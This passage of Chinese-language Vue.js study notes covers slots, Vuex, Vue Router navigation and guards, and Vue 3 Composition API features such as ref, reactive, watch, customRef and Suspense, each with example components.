<li v-for="(item, index) in games" :key="index">{{ item }}</li>
</ul>
<div class="foot" slot="footer">
<a href="https://www.baidu.com">单机游戏</a>
<a href="https://www.baidu.com">网络游戏</a>
</div>
</Category>
<Category title="足球俱乐部">
<video slot="center"
controls
src="http://clips.vorwaerts-gmbh.de/big_buck_bunny.mp4"
></video>
<template v-slot:footer>
<div class="foot">
<a href="https://www.baidu.com">经典</a>
<a href="https://www.baidu.com">热门</a>
<a href="https://www.baidu.com">推荐</a>
</div>
<h4>welcome!</h4>
</template>
</Category>
</div>
</template>
<script>
import Category from "./components/Category";
export default {
components: { Category },
name: "App",
data() {
return {
foods: ["火锅", "烧烤", "烤肉", "牛排"],
games: ["csgo", "LOL", "dota", "gata"],
clubs: ["切尔西", "巴塞罗那", "阿森纳", "拜仁"],
};
},
methods: {},
};
</script>
<style lang="less">
.container,
.foot {
display: flex;
justify-content: space-around;
}
// 也可写在Category.vue中
img {
width: 100%;
}
video {
width: 100%;
}
</style>
Category.vue
<template>
<div class="category">
<h3>{{title}}分类</h3>
<!-- 定义插槽 -->
<slot name="center">我是一些文字,当使用者没有传递具体结构时,我会出现</slot>
<slot name="footer">我是一些文字,当使用者没有传递具体结构时,我会出现</slot>
</div>
</template>
<script>
export default {
name:"Category",
props:['title']
}
</script>
<style scoped>
.category{
background-color: skyblue;
width: 200px;
height: 300px;
}
h3{
text-align: center;
background-color: brown;
}
</style>
作用域插槽
数据在子组件
Category
<template>
<div class="category">
<h3>{{ title }}分类</h3>
<slot :games="games" msg="hello">默认一些内容</slot>
</div>
</template>
<script>
export default {
name: "Category",
props: ["title"],
data() {
return {
games: ["csgo", "LOL", "dota", "gata"],
};
},
};
</script>
<style scoped>
.category {
background-color: skyblue;
width: 200px;
height: 300px;
}
h3 {
text-align: center;
background-color: brown;
}
</style>
App.vue
<template>
<div class="container">
<Category title="游戏">
<!-- demo是对象 -->
<template scope="demo">
<ul>
<li v-for="(item, index) in demo.games" :key="index">{{ item }}</li>
</ul>
<h4>{{ demo.msg }}</h4>
</template>
</Category>
<Category title="游戏">
<!-- es6 解构赋值 -->
<template scope="{games}">
<ol>
<li v-for="(item, index) in games" :key="index">{{ item }}</li>
</ol>
</template>
</Category>
<Category title="游戏">
<!-- 另一种写法 -->
<template slot-scope="{ games }">
<h4 v-for="(item, index) in games" :key="index">{{ item }}</h4>
</template>
</Category>
</div>
</template>
<script>
import Category from "./components/Category";
export default {
components: { Category },
name: "App",
};
</script>
<style lang="less">
.container,.foot {
display: flex;
justify-content: space-around;
}
h4 {
text-align: center;
}
</style>
Vuex
求和案例
vuex-Count.vue
<template>
<div>
<h1>当前求和为:{{$store.state.sum}}</h1>
<select v-model.number="n">
<option value="1">1</option>
<option value="2">2</option>
<option value="3">3</option>
</select>
<button @click="increment">+</button>
<button @click="decrement">-</button>
<button @click="incrementOdd">当前求和为奇数再加</button>
<button @click="incrementWait">等一等再加</button>
</div>
</template>
<script>
export default {
name:'vuex-Count',
data() {
return {
n:1, //用户选择的数字
}
},
methods: {
increment(){
this.$store.commit('JIA',this.n)
},
decrement(){
this.$store.commit('JIAN',this.n)
},
incrementOdd(){
this.$store.dispatch('jiaOdd',this.n)
},
incrementWait(){
this.$store.dispatch('jiaWait',this.n)
},
},
mounted() {
console.log('Count',this)
},
}
</script>
<style lang="css">
button{
margin-left: 5px;
}
</style>
store/index.js
//该文件用于创建Vuex中最为核心的store
import Vue from 'vue'
//引入Vuex
import Vuex from 'vuex'
//应用Vuex插件
Vue.use(Vuex)
//准备actions——用于响应组件中的动作
const actions = {
/* jia(context,value){
console.log('actions中的jia被调用了')
context.commit('JIA',value)
},
jian(context,value){
console.log('actions中的jian被调用了')
context.commit('JIAN',value)
}, */
jiaOdd(context,value){
console.log('actions中的jiaOdd被调用了')
if(context.state.sum % 2){
context.commit('JIA',value)
}
},
jiaWait(context,value){
console.log('actions中的jiaWait被调用了')
setTimeout(()=>{
context.commit('JIA',value)
},500)
}
}
//准备mutations——用于操作数据(state)
const mutations = {
JIA(state,value){
console.log('mutations中的JIA被调用了')
state.sum += value
},
JIAN(state,value){
console.log('mutations中的JIAN被调用了')
state.sum -= value
}
}
//准备state——用于存储数据
const state = {
sum:0 //当前的和
}
//创建并暴露store
export default new Vuex.Store({
actions,
mutations,
state,
})
main.js
const vm = new Vue({
render: h => h(App),
store,
}).$mount('#app')
getters的使用
4个map的使用方法
mapState 方法:映射state中的数据为计算属性
mapGetters 方法:映射getters中的数据为计算属性
mapActions: 生成与actions对话的方法
mapMutation: 生成与mutations对话的方法
多组件共享数据
vuex-person.vue
<template>
<div>
<h1>人员列表</h1>
<h3 style="color: red">Count组件求和为:{{ sum }}</h3>
<input type="text" placeholder="请输入名字" v-model="name" />
<button @click="add">添加</button>
<ul>
<li v-for="p in personList" :key="p.id">{{ p.name }}</li>
</ul>
</div>
</template>
<script>
import { nanoid } from "nanoid";
export default {
name: "vuex-person",
data() {
return {
name: "",
};
},
computed: {
personList() {
return this.$store.state.personList;
},
sum() {
return this.$store.state.sum;
},
},
methods: {
add() {
const personObj = { id: nanoid(), name: this.name };
this.$store.commit("ADD_PERSON", personObj);
this.name = "";
},
},
};
</script>
模块拆分
store
components
路由
基本使用
(1)路由组件通常放在pages文件夹,一般组件通常放在components文件夹
(2)通过切换,“隐藏”的路由组件,默认是被销毁掉的,需要的时候再去挂载
(3)每个组件都有自己的$route
属性,里面存储自己的路由信息
(4)整个应用只有一个router,可以通过组件的$router
属性获取到
pages
components
App.vue
<template>
<div>
<div class="row">
<Banner/>
</div>
<div class="row">
<div class="col-xs-2 col-xs-offset-2">
<div class="list-group">
<!-- 原始html中我们使用a标签实现页面的跳转 -->
<!-- <a class="list-group-item active" href="./about.html">About</a> -->
<!-- <a class="list-group-item" href="./home.html">Home</a> -->
<!-- Vue中借助router-link标签实现路由的切换 -->
<router-link class="list-group-item" active-class="active" to="/about">About</router-link>
<router-link class="list-group-item" active-class="active" to="/home">Home</router-link>
</div>
</div>
<div class="col-xs-6">
<div class="panel">
<div class="panel-body">
<!-- 指定组件的呈现位置 -->
<router-view></router-view>
</div>
</div>
</div>
</div>
</div>
</template>
<script>
import Banner from './components/Banner'
export default {
name:'App',
components:{Banner}
}
</script>
index.html
<!-- 引入第三方样式 -->
<link rel="stylesheet" href="<%= BASE_URL %>css/bootstrap.css">
main.js
router/index.js
// 该文件专门用于创建整个应用的路由器
import VueRouter from 'vue-router'
//引入组件
import About from '../pages/About'
import Home from '../pages/Home'
//创建并暴露一个路由器
export default new VueRouter({
routes:[
{
path:'/about',
component:About
},
{
path:'/home',
component:Home,
}
]
})
嵌套路由
路由query参数
message.vue
<template>
<div>
<ul>
<li v-for="m in messageList" :key="m.id">
<!-- 跳转路由并携带query参数,to的字符串写法 -->
<!-- <router-link :to="`/home/message/detail?id=${m.id}&title=${m.title}`">{{m.title}}</router-link> -->
<!-- 跳转路由并携带query参数,to的对象写法 -->
<!-- path:'/home/message/detail' 也可改为 name:'xiangqing' -->
<router-link :to="{
path:'/home/message/detail',
query:{
id:m.id,
title:m.title
}
}"
>
{{m.title}}
</router-link>
</li>
</ul>
<hr>
<router-view></router-view>
</div>
</template>
<script>
export default {
name:'Message',
data(){
return{
messageList:[
{id:"1",title:"消息1"},
{id:"2",title:"消息2"},
{id:"3",title:"消息3"}
]
}
}
}
</script>
命名路由
params参数
注意:路由携带params参数时,若使用to的对象写法,必须使用name配置,不能使用path配置项
路由的prop配置
第一种写法
{
name:'xiangqing',
path:'detail/:id/:title',
component:Detail,
//props的第一种写法,值为对象,该对象中的所有key-value都会以props的形式传给Detail组件。
props:{a:1,b:'hello'}
}
第二种写法
第三种写法
replace属性
(1)作用:控制路由跳转时操作浏览器历史记录的模式
(2)浏览器的历史记录有两种写入方式:分别为push和replace,push是追加的历史记录,replace是替换当前的记录。路由跳转时候默认为push
(3)开启replace模式
<router-link replace .....>About</router-link>
编程式路由导航
banner.vue
<template>
<div class="col-xs-offset-2 col-xs-8">
<div class="page-header"><h2>Vue Router Demo</h2></div>
<button @click="back">后退</button>
<button @click="forward">前进</button>
<button @click="go">跳转</button>
</div>
</template>
<script>
export default {
name:'Banner',
methods:{
back(){
console.log(this.$router)
this.$router.back()
},
forward(){
this.$router.forward()
},
go(){
this.$router.go(-2) //正数前进 负数后退
}
}
}
</script>
缓存路由组件
缓存多个
<keep-alive :include="['New','Message']">
<router-view></router-view>
</keep-alive>
两个新的生命周期钩子
activated 路由组件被激活时触发
deactivated 路由组件失活时触发
<template>
<ul>
<li :style="{opacity}">欢迎学习Vue</li>
<li>news001 <input type="text"></li>
<li>news002 <input type="text"></li>
<li>news003 <input type="text"></li>
</ul>
</template>
<script>
export default {
name:'News',
data() {
return {
opacity:1
}
},
/* beforeDestroy() {
console.log('News组件即将被销毁了')
clearInterval(this.timer)
}, */
/* mounted(){
this.timer = setInterval(() => {
console.log('@')
this.opacity -= 0.01
if(this.opacity <= 0) this.opacity = 1
},16)
}, */
activated() {
console.log('News组件被激活了')
this.timer = setInterval(() => {
console.log('@')
this.opacity -= 0.01
if(this.opacity <= 0) this.opacity = 1
},16)
},
deactivated() {
console.log('News组件失活了')
clearInterval(this.timer)
},
}
</script>
路由守卫
全局路由守卫
index.js
// 该文件专门用于创建整个应用的路由器
import VueRouter from 'vue-router'
//引入组件
import About from '../pages/About'
import Home from '../pages/Home'
import News from '../pages/News'
import Message from '../pages/Message'
import Detail from '../pages/Detail'
//创建并暴露一个路由器
const router = new VueRouter({
routes:[
{
name:'guanyu',
path:'/about',
component:About,
meta:{title:'关于'}
},
{
name:'shouye',
path:'/home',
component:Home,
meta:{title:'首页'},
children:[
{
name:'xinwen',
path:'news',
component:News,
meta:{isAuth:true,title:'新闻'},
},
{
name:'xiaoxi',
path:'message',
component:Message,
meta:{isAuth:true,title:'消息'},
children:[
{
name:'xiangqing',
path:'detail',
component:Detail,
meta:{isAuth:true,title:'详情'},
//props的第一种写法,值为对象,该对象中的所有key-value都会以props的形式传给Detail组件。
// props:{a:1,b:'hello'}
//props的第二种写法,值为布尔值,若布尔值为真,就会把该路由组件收到的所有params参数,以props的形式传给Detail组件。
// props:true
//props的第三种写法,值为函数
props($route){
return {
id:$route.query.id,
title:$route.query.title,
a:1,
b:'hello'
}
}
}
]
}
]
}
]
})
//全局前置路由守卫——初始化的时候被调用、每次路由切换之前被调用
router.beforeEach((to,from,next)=>{
console.log("前置路由守卫",to,from)
// if(to.name === 'xinwen' || to.name === 'xiaoxi'){
if(to.meta.isAuth){ //判断是否需要鉴权
if(localStorage.getItem('star') === 'messi'){
next()
}else{
alert("名字不对,无权查看")
}
}else{
next()
}
})
//全局后置路由守卫——初始化的时候被调用、每次路由切换之后被调用
router.afterEach((to,from)=>{
console.log("后置路由守卫",to,from)
document.title = to.meta.title || "路由demo"
})
export default router
独享路由守卫:
组内路由守卫
About.vue
<template>
<h2>我是About的内容</h2>
</template>
<script>
export default {
name: "About",
/* beforeDestroy() {
console.log('About组件即将被销毁了')
},*/
/* mounted() {
console.log('About组件挂载完毕了',this)
window.aboutRoute = this.$route
window.aboutRouter = this.$router
}, */
// 通过路由规则,进入该组件时被调用
beforeRouteEnter(to, from, next) {
console.log("About-beforeRouteEnter", to, from);
if (to.meta.isAuth) {
//判断是否需要鉴权
if (localStorage.getItem("star") === "messi") {
next();
} else {
alert("名字不对,无权查看");
}
} else {
next();
}
},
// 通过路由规则,离开该组件时被调用
beforeRouteLeave(to, from, next) {
console.log("About-beforeRouteLeave", to, from);
next()
}
};
</script>
Vue3.0
分析工程结构
main.js
//引入的不再是Vue构造函数了,引入的是一个名为createApp的工厂函数
import { createApp } from 'vue'
import App from './App.vue'
//创建应用实例对象——app(类似于之前Vue2中的vm,但app比vm更轻)
const app = createApp(App)
//挂载
app.mount("#app")
// createApp(App).mount('#app')
/* // Vue2.0
//引入Vue
import Vue from 'vue'
const vm = new Vue({
render:h => h(App)
})
vm.$mount('#app') */
<template>
<!-- Vue3组件中的模板结构可以没有根标签 -->
<img alt="Vue logo" src="./assets/logo.png">
<HelloWorld msg="Welcome to Your Vue.js App"/>
</template>
setUp
setUp不能是一个async函数,因为返回值不再是return的对象,而是promise,模板看不到return对象中的属性
<template>
<h1>一个人的信息</h1>
<h2>姓名:{{name}}</h2>
<h2>年龄:{{age}}</h2>
<h2>性别:{{sex}}</h2>
<h2>a的值是:{{a}}</h2>
<button @click="sayHello">说话(Vue3所配置的——sayHello)</button>
<br>
<button @click="sayWelcome">说话(Vue2所配置的——sayWelcome)</button>
<br>
<button @click="test1">测试一下在Vue2的配置中去读取Vue3中的数据、方法</button>
<br>
<button @click="test2">测试一下在Vue3的setup配置中去读取Vue2中的数据、方法</button>
</template>
<script>
// import {h} from 'vue'
export default {
name: 'App',
data() {
return {
sex:'男',
a:100
}
},
methods: {
sayWelcome(){
alert('欢迎来到剑桥学习')
},
test1(){
console.log(this.sex)
console.log(this.name)
console.log(this.age)
console.log(this.sayHello)
}
},
//此处只是测试一下setup,暂时不考虑响应式的问题。
setup(){
//数据
let name = '张三'
let age = 18
let a = 200
//方法
function sayHello(){
alert(`我叫${name},我${age}岁了,你好啊!`)
}
function test2(){
console.log(name)
console.log(age)
console.log(sayHello)
console.log(this.sex)
console.log(this.sayWelcome)
}
//返回一个对象(常用)
return {
name,
age,
sayHello,
test2,
a
}
//返回一个函数(渲染函数)要在上面import h
// return ()=> h('h1','剑桥')
}
}
</script>
ref函数
<template>
<h1>一个人的信息</h1>
<h2>姓名:{{name}}</h2>
<h2>年龄:{{age}}</h2>
<h2>工作岗位:{{job.type}}</h2>
<h2>薪资:{{job.salary}}</h2>
<button @click="changeInfo">修改人的信息</button>
</template>
<script>
import {ref} from 'vue'
export default {
name: 'App',
//此处只是测试一下setup,暂时不考虑响应式的问题。
setup(){
//数据
let name = ref('小凯')
let age = ref(18)
let job = ref({
type:"java工程师",
salary:'10k'
})
function changeInfo(){
name.value = '哈弗茨'
age.value = '19'
// console.log(name,age)
console.log(job.value)
job.value.type = "打工人"
job.value.salary = "0"
}
//返回一个对象(常用)
return {
name,
age,
job,
changeInfo
}
}
}
</script>
reactive
<template>
<h1>一个人的信息</h1>
<h2>姓名:{{ person.name }}</h2>
<h2>年龄:{{ person.age }}</h2>
<h3>工作种类:{{ person.job.type }}</h3>
<h3>工作薪水:{{ person.job.salary }}</h3>
<h3>爱好:{{ person.hobby }}</h3>
<h3>测试的数据c:{{ person.job.a.b.c }}</h3>
<button @click="changeInfo">修改人的信息</button>
</template>
<script>
import {ref,reactive} from 'vue'
export default {
name: 'App',
//此处只是测试一下setup,暂时不考虑响应式的问题。
setup(){
//数据
/* let name = ref('小凯')
let age = ref(18)
let job = reactive({
type:"java工程师",
salary:'10k',
a:{
b:{
c:666
}
}
})
let hobby = reactive(['抽烟','喝酒','纹身'])
function changeInfo(){
name.value = '哈弗茨'
age.value = '19'
// console.log(name,age)
console.log(job)
job.type = "打工人"
job.salary = "0"
job.a.b.c = 11111111111
hobby[2] = '烫头'
}
*/
let person = reactive({
name:'小凯',
age:18,
job:{
type:"java工程师",
salary:'10k',
a:{
b:{
c:666
}
}
},
hobby:reactive(['抽烟','喝酒','纹身'])
})
//方法
function changeInfo(){
person.name = '芒特'
person.age = 28
person.job.type = '革命者'
person.job.salary = '0'
person.job.a.b.c = 999
person.hobby[0] = '学习'
}
//返回一个对象(常用)
return {
person,
changeInfo
}
}
}
</script>
Vue2.0 与 3.0 响应式对比
-
vue2.0实现原理:
-
对象类型:通过
Object.defineProperty()
对属性的读取、修改进行拦截(数据劫持)。 -
数组类型:通过重写更新数组的一系列方法来实现拦截。(对数组的变更方法进行了包裹)。
Object.defineProperty(data, 'count', { get () {}, set () {} })
-
-
存在问题:
- 新增属性、删除属性, 界面不会更新。
- 直接通过下标修改数组, 界面不会自动更新。
-
vue3.0实现原理:
- 通过Proxy(代理): 拦截对象中任意属性的变化, 包括:属性值的读写、属性的添加、属性的删除等。
- 通过Reflect(反射): 对源对象的属性进行操作。
new Proxy(data, {
// 拦截读取属性值
get (target, prop) {
return Reflect.get(target, prop)
},
// 拦截设置属性值或添加新属性
set (target, prop, value) {
return Reflect.set(target, prop, value)
},
// 拦截删除属性
deleteProperty (target, prop) {
return Reflect.deleteProperty(target, prop)
}
})
reactive对比ref
- 从定义数据角度对比:
- ref用来定义:基本类型数据。
- reactive用来定义:对象(或数组)类型数据。
- 备注:ref也可以用来定义对象(或数组)类型数据, 它内部会自动通过
reactive
转为代理对象。
- 从原理角度对比:
- ref通过
Object.defineProperty()
的get
与set
来实现响应式(数据劫持)。 - reactive通过使用Proxy来实现响应式(数据劫持), 并通过Reflect操作源对象内部的数据。
- ref通过
- 从使用角度对比:
- ref定义的数据:操作数据需要
.value
,读取数据时模板中直接读取不需要.value
。 - reactive定义的数据:操作数据与读取数据:均不需要
.value
。
- ref定义的数据:操作数据需要
Vue3-computed计算属性
<template>
<h1>一个人的信息</h1>
姓:<input type="text" v-model="person.firstName">
<br>
名:<input type="text" v-model="person.lastName">
<br>
<span>全名:{{person.fullName}}</span>
<br>
全名:<input type="text" v-model="person.fullName">
</template>
<script>
import {reactive,computed} from 'vue'
export default {
name: 'Demo',
setup(){
//数据
let person = reactive({
firstName:'张',
lastName:'三'
})
//计算属性——简写(没有考虑计算属性被修改的情况)
/* person.fullName = computed(()=>{
return person.firstName + '-' + person.lastName
}) */
//计算属性——完整写法(考虑读和写)
person.fullName = computed({
get(){
return person.firstName + '-' + person.lastName
},
set(value){
const nameArr = value.split('-')
person.firstName = nameArr[0]
person.lastName = nameArr[1]
}
})
//返回一个对象(常用)
return {
person
}
}
}
</script>
Vue3-watch
<template>
<h2>当前求和为:{{sum}}</h2>
<button @click="sum++">点我+1</button>
<hr>
<h2>当前的信息为:{{msg}}</h2>
<button @click="msg+='!'">修改信息</button>
<hr>
<h2>姓名:{{person.name}}</h2>
<h2>年龄:{{person.age}}</h2>
<h2>薪资:{{person.job.j1.salary}}K</h2>
<button @click="person.name+='~'">修改姓名</button>
<button @click="person.age++">增长年龄</button>
<button @click="person.job.j1.salary++">涨薪</button>
</template>
<script>
import {ref,reactive,watch} from 'vue'
export default {
name: 'Demo',
setup(){
//数据
let sum = ref(0)
let msg = ref('你好啊')
let person = reactive({
name:'张三',
age:18,
job:{
j1:{
salary:20
}
}
})
//情况一:监视ref所定义的一个响应式数据
/* watch(sum,(newValue,oldValue)=>{
console.log('sum变了',newValue,oldValue)
},{immediate:true}) */
//情况二:监视ref所定义的多个响应式数据
/* watch([sum,msg],(newValue,oldValue)=>{
console.log('sum或msg变了',newValue,oldValue)
},{immediate:true}) */
/*
情况三:监视reactive所定义的一个响应式数据的全部属性
1.注意:此处无法正确的获取oldValue
2.注意:强制开启了深度监视(deep配置无效)
*/
/* watch(person,(newValue,oldValue)=>{
console.log('person变化了',newValue,oldValue)
},{deep:false}) //此处的deep配置无效 */
//情况四:监视reactive所定义的一个响应式数据中的某个属性
/* watch(()=>person.name,(newValue,oldValue)=>{
console.log('person的name变化了',newValue,oldValue)
}) */
//情况五:监视reactive所定义的一个响应式数据中的某些属性
/* watch([()=>person.name,()=>person.age],(newValue,oldValue)=>{
console.log('person的name或age变化了',newValue,oldValue)
}) */
//特殊情况
watch(()=>person.job,(newValue,oldValue)=>{
console.log('person的job变化了',newValue,oldValue)
},{deep:true}) //此处由于监视的是reactive素定义的对象中的某个属性,所以deep配置有效
//返回一个对象(常用)
return {
sum,
msg,
person
}
}
}
</script>
let sum = ref(0)
let person = ref({
name:'张三',
age:18,
job:{
j1:{
salary:20
}
}
})
console.log(person)
watch(sum,(newValue,oldValue)=>{
console.log('sum的值变化了',newValue,oldValue)
})
watch(person,(newValue,oldValue)=>{
console.log('person的值变化了',newValue,oldValue)
},{deep:true})
//或者
/* watch(person.value,(newValue,oldValue)=>{
console.log('person的值变化了',newValue,oldValue)
})
*/
watchEffect
不用指明监视哪个属性,监视的回调中用到哪个属性,那就监视哪个属性
setup(){
//数据
let sum = ref(0)
let msg = ref('你好啊')
let person = reactive({
name:'张三',
age:18,
job:{
j1:{
salary:20
}
}
})
//监视
/* watch(sum,(newValue,oldValue)=>{
console.log('sum的值变化了',newValue,oldValue)
},{immediate:true}) */
watchEffect(()=>{
const x1 = sum.value
const x2 = person.job.j1.salary
console.log('watchEffect所指定的回调执行了')
})
//返回一个对象(常用)
return {
sum,
msg,
person
}
}
vue3-生命周期
Demo.vue
<template>
<h2>当前求和为:{{sum}}</h2>
<button @click="sum++">点我+1</button>
</template>
<script>
import {ref,onBeforeMount,onMounted,onBeforeUpdate,onUpdated,onBeforeUnmount,onUnmounted} from 'vue'
export default {
name: 'Demo',
setup(){
console.log('---setup---')
//数据
let sum = ref(0)
//通过组合式API的形式去使用生命周期钩子
onBeforeMount(()=>{
console.log('---onBeforeMount---')
})
onMounted(()=>{
console.log('---onMounted---')
})
onBeforeUpdate(()=>{
console.log('---onBeforeUpdate---')
})
onUpdated(()=>{
console.log('---onUpdated---')
})
onBeforeUnmount(()=>{
console.log('---onBeforeUnmount---')
})
onUnmounted(()=>{
console.log('---onUnmounted---')
})
//返回一个对象(常用)
return {sum}
},
//通过配置项的形式使用生命周期钩子
//#region
beforeCreate() {
console.log('---beforeCreate---')
},
created() {
console.log('---created---')
},
beforeMount() {
console.log('---beforeMount---')
},
mounted() {
console.log('---mounted---')
},
beforeUpdate(){
console.log('---beforeUpdate---')
},
updated() {
console.log('---updated---')
},
beforeUnmount() {
console.log('---beforeUnmount---')
},
unmounted() {
console.log('---unmounted---')
},
//#endregion
}
</script>
App.vue
<template>
<button @click="isShowDemo = !isShowDemo">切换隐藏/显示</button>
<Demo v-if="isShowDemo"/>
</template>
<script>
import {ref} from 'vue'
import Demo from './components/Demo'
export default {
name: 'App',
components:{Demo},
setup() {
let isShowDemo = ref(true)
return {isShowDemo}
}
}
</script>
hook函数
类似于vue2.0的mixin, 优势复用代码
toRef
<template>
<h4>{{person}}</h4>
<h2>姓名:{{name}}</h2>
<h2>年龄:{{age}}</h2>
<h2>薪资:{{job.j1.salary}}K</h2>
<button @click="name+='~'">修改姓名</button>
<button @click="age++">增长年龄</button>
<button @click="job.j1.salary++">涨薪</button>
</template>
<script>
import {ref,reactive,toRef,toRefs} from 'vue'
export default {
name: 'Demo',
setup(){
//数据
let person = reactive({
name:'张三',
age:18,
job:{
j1:{
salary:20
}
}
})
// const name1 = person.name
// console.log('%%%',name1)
// const name2 = toRef(person,'name')
// console.log('####',name2)
const x = toRefs(person)
console.log('******',x)
//返回一个对象(常用)
return {
person,
// name:toRef(person,'name'),
// age:toRef(person,'age'),
// salary:toRef(person.job.j1,'salary'),
...toRefs(person)
}
}
}
</script>
shallowReactive 与 shallowRef
-
shallowReactive:只处理对象最外层属性的响应式(浅响应式)。
-
shallowRef:只处理基本数据类型的响应式, 不进行对象的响应式处理。
-
什么时候使用?
- 如果有一个对象数据,结构比较深, 但变化时只是外层属性变化 ===> shallowReactive。
- 如果有一个对象数据,后续功能不会修改该对象中的属性,而是生新的对象来替换 ===> shallowRef。
readonly 与 shallowReadonly
- readonly: 让一个响应式数据变为只读的(深只读)。
- shallowReadonly:让一个响应式数据变为只读的(浅只读)。
- 应用场景: 不希望数据被修改时。
person = readonly(person)
person = shallowReadonly(person)
toRaw 与 markRaw
- toRaw:
- 作用:将一个由
reactive
生成的响应式对象转为普通对象。 - 使用场景:用于读取响应式对象对应的普通对象,对这个普通对象的所有操作,不会引起页面更新。
- 作用:将一个由
- markRaw:
- 作用:标记一个对象,使其永远不会再成为响应式对象。
- 应用场景:
- 有些值不应被设置为响应式的,例如复杂的第三方类库等。
- 当渲染具有不可变数据源的大列表时,跳过响应式转换可以提高性能。
<template>
<h4>当前求和为:{{sum}}</h4>
<button @click="sum++">点我++</button>
<hr>
<h2>姓名:{{name}}</h2>
<h2>年龄:{{age}}</h2>
<h2>薪资:{{job.j1.salary}}K</h2>
<h3 v-show="person.car">座驾信息:{{person.car}}</h3>
<button @click="name+='~'">修改姓名</button>
<button @click="age++">增长年龄</button>
<button @click="job.j1.salary++">涨薪</button>
<button @click="showRawPerson">输出最原始的person</button>
<button @click="addCar">给人添加一台车</button>
<button @click="person.car.name+='!'">换车名</button>
<button @click="changePrice">换价格</button>
</template>
<script>
import {ref,reactive,toRefs,toRaw,markRaw} from 'vue'
export default {
name: 'Demo',
setup(){
//数据
let sum = ref(0)
let person = reactive({
name:'张三',
age:18,
job:{
j1:{
salary:20
}
}
})
function showRawPerson(){
const p = toRaw(person)
p.age++//页面不会发生变化,不是响应式的
console.log(p)
}
function addCar(){
let car = {name:'奔驰',price:40}
person.car = markRaw(car)
}
function changePrice(){
person.car.price++
console.log(person.car.price)
}
//返回一个对象(常用)
return {
sum,
person,
...toRefs(person),
showRawPerson,
addCar,
changePrice
}
}
}
</script>
customRef 创建自定义ref
<template>
<input type="text" v-model="keyWord">
<h3>{{keyWord}}</h3>
</template>
<script>
import {ref,customRef} from 'vue'
export default {
name: 'App',
setup() {
//自定义一个ref——名为:myRef
function myRef(value,delay){
let timer
return customRef((track,trigger)=>{
return {
get(){
console.log(`有人从myRef这个容器中读取数据了,我把${value}给他了`)
track() //通知Vue追踪value的变化(提前和get商量一下,让他认为这个value是有用的)
return value
},
set(newValue){
console.log(`有人把myRef这个容器中数据改为了:${newValue}`)
clearTimeout(timer)
timer = setTimeout(()=>{
value = newValue
trigger() //通知Vue去重新解析模板
},delay)
},
}
})
}
// let keyWord = ref('hello') //使用Vue提供的ref
let keyWord = myRef('hello',500) //使用程序员自定义的ref
return {keyWord}
}
}
</script>
provide 与 inject
-
作用:实现祖与后代组件间通信
-
套路:父组件有一个
provide
选项来提供数据,后代组件有一个inject
选项来开始使用这些数据 -
具体写法:
-
祖组件中:
setup(){ ...... let car = reactive({name:'奔驰',price:'40万'}) provide('car',car) ...... }
-
后代组件中:
setup(props,context){ ...... const car = inject('car') return {car} ...... }
-
响应式数据的判断
- isRef: 检查一个值是否为一个 ref 对象
- isReactive: 检查一个对象是否是由
reactive
创建的响应式代理 - isReadonly: 检查一个对象是否是由
readonly
创建的只读代理 - isProxy: 检查一个对象是否是由
reactive
或者readonly
方法创建的代理
<script>
import {ref, reactive,toRefs,readonly,isRef,isReactive,isReadonly,isProxy } from 'vue'
export default {
name:'App',
setup(){
let car = reactive({name:'奔驰',price:'40W'})
let sum = ref(0)
let car2 = readonly(car)
console.log(isRef(sum))//true
console.log(isReactive(car))//true
console.log(isReadonly(car2))//true
console.log(isProxy(car))//true
console.log(isProxy(sum))//false
return {...toRefs(car)}
}
}
</script>
Fragment
- 在Vue2中: 组件必须有一个根标签
- 在Vue3中: 组件可以没有根标签, 内部会将多个标签包含在一个Fragment虚拟元素中
- 好处: 减少标签层级, 减小内存占用
Teleport
Teleport
是一种能够将我们的组件html结构移动到指定位置的技术。
<teleport to="移动位置">
<div v-if="isShow" class="mask">
<div class="dialog">
<h3>我是一个弹窗</h3>
<button @click="isShow = false">关闭弹窗</button>
</div>
</div>
</teleport>
Suspense
-
等待异步组件时渲染一些额外内容,让应用有更好的用户体验
-
使用步骤:
-
异步引入组件
import {defineAsyncComponent} from 'vue' const Child = defineAsyncComponent(()=>import('./components/Child.vue'))
-
使用
Suspense
包裹组件,并配置好default
与fallback
<template> <div class="app"> <h3>我是App组件</h3> <Suspense> <template v-slot:default> <Child/> </template> <template v-slot:fallback> <h3>加载中.....</h3> </template> </Suspense> </div> </template>
suspense和异步组件配合可以使setup返回一个promise实例
-
一些改变
-
Vue3.0中对这些API做出了调整:
-
将全局的API,即:
Vue.xxx
调整到应用实例(app
)上2.x 全局 API( Vue
)3.x 实例 API ( app
)Vue.config.xxxx app.config.xxxx Vue.config.productionTip 移除 Vue.component app.component Vue.directive app.directive Vue.mixin app.mixin Vue.use app.use Vue.prototype app.config.globalProperties -
过度类名的更改:
-
Vue2.x写法
.v-enter, .v-leave-to { opacity: 0; } .v-leave, .v-enter-to { opacity: 1; }
-
Vue3.x写法
.v-enter-from, .v-leave-to { opacity: 0; } .v-leave-from, .v-enter-to { opacity: 1; }
-
移除keyCode作为 v-on 的修饰符,同时也不再支持
config.keyCodes
-
移除
v-on.native
修饰符-
父组件中绑定事件
<my-component v-on:close="handleComponentEvent" v-on:click="handleNativeClickEvent" />
-
子组件中声明自定义事件
<script> export default { emits: ['close'] } </script>
-
-
移除过滤器(filter)